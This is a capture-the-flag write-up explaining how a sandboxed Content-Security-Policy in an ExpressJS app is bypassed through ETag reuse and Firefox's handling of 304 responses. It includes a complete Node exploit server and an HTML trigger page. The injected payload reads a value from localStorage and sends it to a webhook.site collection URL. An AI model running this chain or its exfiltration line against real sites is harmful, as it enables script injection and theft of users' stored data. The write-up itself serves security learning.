This writeup details an intriguing bypass of a sandboxed Content-Security-Policy (CSP) by leveraging ETag caching behavior. Originally designed by icesfont for an imaginary CTF, this challenge showcases how subtle header caching quirks—combined with inconsistent response headers—can be used to execute injected scripts.
Tl;Dr
- The App: A simple ExpressJS web app lets users customize personal pages and toggle a “private” flag.
- The Vulnerability: The
/user/:id
endpoint responds differently based on the privacy setting, yet reuses the same ETag. This inconsistency, along with browser caching (notably in Firefox), leads to a CSP bypass. - The Exploit: By orchestrating a sequence of requests that toggles the privacy state, an attacker forces the browser to mix cached permissive headers with a new response—allowing injected scripts to run.
- The Outcome: A carefully crafted attack chain using an attacker-controlled server automates the bypass, subverting the sandbox and executing malicious JavaScript.
Challenge Description
The challenge is built around an ExpressJS application that allows users to update and view their personal pages. Key endpoints include:
-
GET
/
Renders a homepage with the user’s current settings. -
POST
/update
Lets users update three parameters:username
(string)page
(string) — the HTML content of their pageprivate
(boolean) — controls the page’s visibility
-
GET
/user/:id
Serves the customized page. The response behavior varies:- For non-owners, if the page is marked as private, the response is sent as plain text.
- For the owner, the response includes a CSP header set to
sandbox;
and delivers the page as HTML.
-
GET
/me
and GET/report
Provide additional functionality for user redirection and bot reporting.
Below is an excerpt of the main server code (index.js
) highlighting the session initialization and the vulnerable /user/:id
endpoint:
// index.js (Excerpt)
const express = require("express");
const session = require("express-session");
const crypto = require("crypto");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const app = express();
const users = new Map();
const DEFAULT_PAGE = fs.readFileSync(`${__dirname}/default-page.html`, "utf8");
app.use(session({
secret: crypto.randomBytes(16),
resave: false,
saveUninitialized: true
}));
app.use(express.json());
app.set("view engine", "hbs");
// Session initialization middleware
app.use((req, res, next) => {
if (!req.session.uid || !users.has(req.session.uid)) {
req.session.uid = uuidv4();
users.set(req.session.uid, {
id: req.session.uid,
username: "anonymous",
page: DEFAULT_PAGE,
private: false
});
}
req.user = users.get(req.session.uid);
res.set("Content-Security-Policy", "script-src 'self';");
next();
});
// Serve user pages with different behaviors based on privacy
app.get("/user/:id", (req, res) => {
let user = users.get(req.params.id);
if (!user) {
res.set("Content-Type", "text/plain");
res.send("user does not exist");
return;
}
if (user.private && user.id !== req.user.id) {
res.set("Content-Type", "text/plain");
res.send(`cannot view ${user.username}'s page`);
return;
}
res.set("Content-Security-Policy", "sandbox;");
res.send(user.page);
});
app.listen(1337, () => {
console.log("listening at http://localhost:1337");
});
Vulnerable Part
The vulnerability is rooted in several factors:
-
Inconsistent Response Behavior:
The/user/:id
endpoint behaves differently depending on the viewer and the privacy setting:- Non-owner view of a private page:
The response is sent as plain text with a default CSP (script-src 'self';
), along with an error message:cannot view {USER}'s page
- Owner view of their own page:
The response is sent as HTML with a restrictive CSP (sandbox;
).
A key part of the strategy involves a deliberate payload construction trick:
- The attacker sets the
username
to a malicious payload (e.g.,<script src="${URL}"></script>
) - Simultaneously, the
page
is set to exactly:cannot view <script src="${URL}"></script>'s page
This mimics the error message returned for unauthorized access, setting the stage for header reuse.
- Non-owner view of a private page:
-
ETag Reuse:
Despite the differences in headers and content type, the server reuses the same ETag for responses with the exact same body (that’s why the trick with setting pagecannot view ${XSS}'s page
- and user${XSS}
) regardless of the privacy flag. For example:
Response when
private
is true (non-owner view - server is showing the error):HTTP/1.1 200 OK Content-Security-Policy: script-src 'self'; Content-Type: text/plain; charset=utf-8 ETag: W/"1c-6mIY3j+uI+6XwrlKbq+QONvYxZQ" cannot view ${XSS}'s page
Response when
private
is false (owner view - server is showing the page content):HTTP/1.1 200 OK Content-Security-Policy: sandbox; Content-Type: text/html; charset=utf-8 ETag: W/"1c-6mIY3j+uI+6XwrlKbq+QONvYxZQ" cannot view ${XSS}'s page
-
Exploiting Browser Caching Behavior:
The twist comes from how browsers (notably Firefox) handle 304 (Not Modified) responses. Specifically, this issue on the W3C WebAppSec CSP repository explains that when a new CSP header is set on a 304 response, Firefox uses the new CSP header but reuses the cached Content-Type header.
In practice, this means that if the attacker toggles the page from public to private, the second request (which receives a 304 response because of the same ETag) will present :
- A less restrictive CSP (
script-src 'self'
) from the new response - A Content-Type of
text/plain
from the new response.
But Firefox will act considering the following headers:
- CSP (
script-src 'self'
) from the new response - A Content-Type of
text/html
from the previous response.
This mismatch allows the injected
<script>
(embedded in theusername
) to execute despite the intended sandbox. - A less restrictive CSP (
Together, the payload trick, ETag reuse, and browser caching quirks form the crux of the vulnerability.
Solution
Here’s a high-level overview of the exploit chain:
-
Session Initialization:
The attacker starts by sending a GET request to
/
to initialize a session and capture the session cookie. -
Initial Payload Setup:
A POST request is sent to
/update
to set the user’s page content. The payload includes an injected script tag that references a URL controlled by the attacker. At this stage, the page is set to public (or non-private) so that it’s served as HTML with the permissive CSP. -
Retrieving the Redirect URL:
The attacker then accesses
/me
, which redirects to/user/<session_id>
, capturing the specific URL (stored asredirUrl
) used to reference the injected script. -
Crafting the Injection with Dual Cookies:
Using the cookie from the initial session (referred to as
COOKIE_FIRST
), another POST is made to/update
with the payload structured as:{ username: `<script src="${redirUrl}"></script>`, page: `cannot view <script src="${redirUrl}"></script>'s page`, private: false }
This registers the malicious payload with the server.
-
Triggering the CSP Bypass via Privacy Toggle:
Finally, a subsequent request (again using
COOKIE_FIRST
) toggles the page’s privacy by settingprivate: true
through another POST. This action causes the server to serve the response with the restrictivesandbox;
CSP. However, due to the reused ETag and Firefox’s caching behavior—as discussed in issue #161—the browser reuses the previously cachedContent-Type: text/html
(and its permissive CSP) even though the new response indicates a sandbox. The injected<script>
tag then executes, leading to a successful CSP bypass.
Exploit Server
The exploit chain is orchestrated via an Exploit server. Below is the core code (in Node/Express) that automates the necessary steps:
// support-server.js
const express = require('express');
const fetch = require('node-fetch');
const path = require('path');
const app = express();
const PORT = 80;
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
let redirUrl = ''; // Stores the URL for the injected script
let cookieFirst = ''; // Stores the initial session cookie
const challUrl = 'http://155.248.210.243:42136/'; // Challenge URL
app.get('/start', async (req, res) => {
try {
console.log('Received request on /start');
console.log(`Sending GET request to ${challUrl}`);
const firstResponse = await fetch(challUrl);
cookieFirst = firstResponse.headers.get('set-cookie');
console.log('Received cookieFirst:', cookieFirst);
const updateBodyStep5 = {
username: '',
page: `fetch('https://webhook.site/your-unique-id/'+localStorage.getItem("flag"))`,
private: false,
};
console.log(`Sending POST request to ${challUrl}update with body:`, updateBodyStep5);
const updateResponse = await fetch(`${challUrl}update`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(updateBodyStep5),
});
const cookieScript = updateResponse.headers.get('set-cookie');
console.log('Received cookieScript:', cookieScript);
console.log(`Sending GET request to ${challUrl}me`);
const meResponse = await fetch(`${challUrl}me`, {
headers: { Cookie: cookieScript },
redirect: 'follow',
});
redirUrl = new URL(meResponse.url).pathname;
console.log('Received redirUrl:', redirUrl);
const updateBodyStep7 = {
username: `<script src="${redirUrl}"></script>`,
page: `cannot view <script src="${redirUrl}"></script>'s page`,
private: false,
};
console.log(`Sending POST request to ${challUrl}update with body:`, updateBodyStep7);
await fetch(`${challUrl}update`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Cookie: cookieFirst,
},
body: JSON.stringify(updateBodyStep7),
});
console.log(`Sending GET request to ${challUrl}me with cookieFirst`);
const finalResponse = await fetch(`${challUrl}me`, {
headers: { Cookie: cookieFirst },
redirect: 'follow',
});
const finalUrl = finalResponse.url;
console.log('Received finalUrl:', finalUrl);
res.json({ finalUrl });
} catch (error) {
console.error('Error:', error);
res.status(500).send('Internal Server Error');
}
});
app.get('/continue', async (req, res) => {
try {
console.log('Received request on /continue');
const updateBodyStep12 = {
username: `<script src="${redirUrl}"></script>`,
page: `cannot view <script src="${redirUrl}"></script>'s page`,
private: true,
};
console.log(`Sending POST request to ${challUrl}update with body:`, updateBodyStep12);
await fetch(`${challUrl}update`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Cookie: cookieFirst,
},
body: JSON.stringify(updateBodyStep12),
});
console.log('POST request on /continue completed');
res.status(200).send('Step 12 completed');
} catch (error) {
console.error('Error:', error);
res.status(500).send('Internal Server Error');
}
});
app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});
Additionally, an index.html
file (served by the attacker-controlled server) triggers the exploit by coordinating the /start
and /continue
endpoints:
<!-- public/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Async Script</title>
</head>
<body>
<script>
(async () => {
const response = await fetch('/start');
const data = await response.json();
const finalUrl = data.finalUrl;
console.log('Original finalUrl:', finalUrl);
const urlPath = new URL(finalUrl).pathname;
const newUrl = `http://localhost:1337${urlPath}`;
console.log('New URL:', newUrl);
const newWindow = window.open(newUrl);
setTimeout(() => {
if (newWindow) newWindow.close();
fetch('/continue', { method: 'GET' }).then(() => {
document.location = newUrl;
});
}, 500);
})();
</script>
</body>
</html>
Conclusion
This challenge is a brilliant demonstration of how nuanced differences in header caching and browser behavior can be exploited. By carefully orchestrating a sequence of requests to toggle the page’s privacy state, the attacker leverages reused ETag values and Firefox’s handling of 304 responses—as highlighted in W3C CSP issue #161—to bypass a seemingly airtight CSP sandbox.
Kudos to icesfont for designing such a clever challenge!
Deploy Challenge
If you’d like to try the challenge for yourself, click the link below: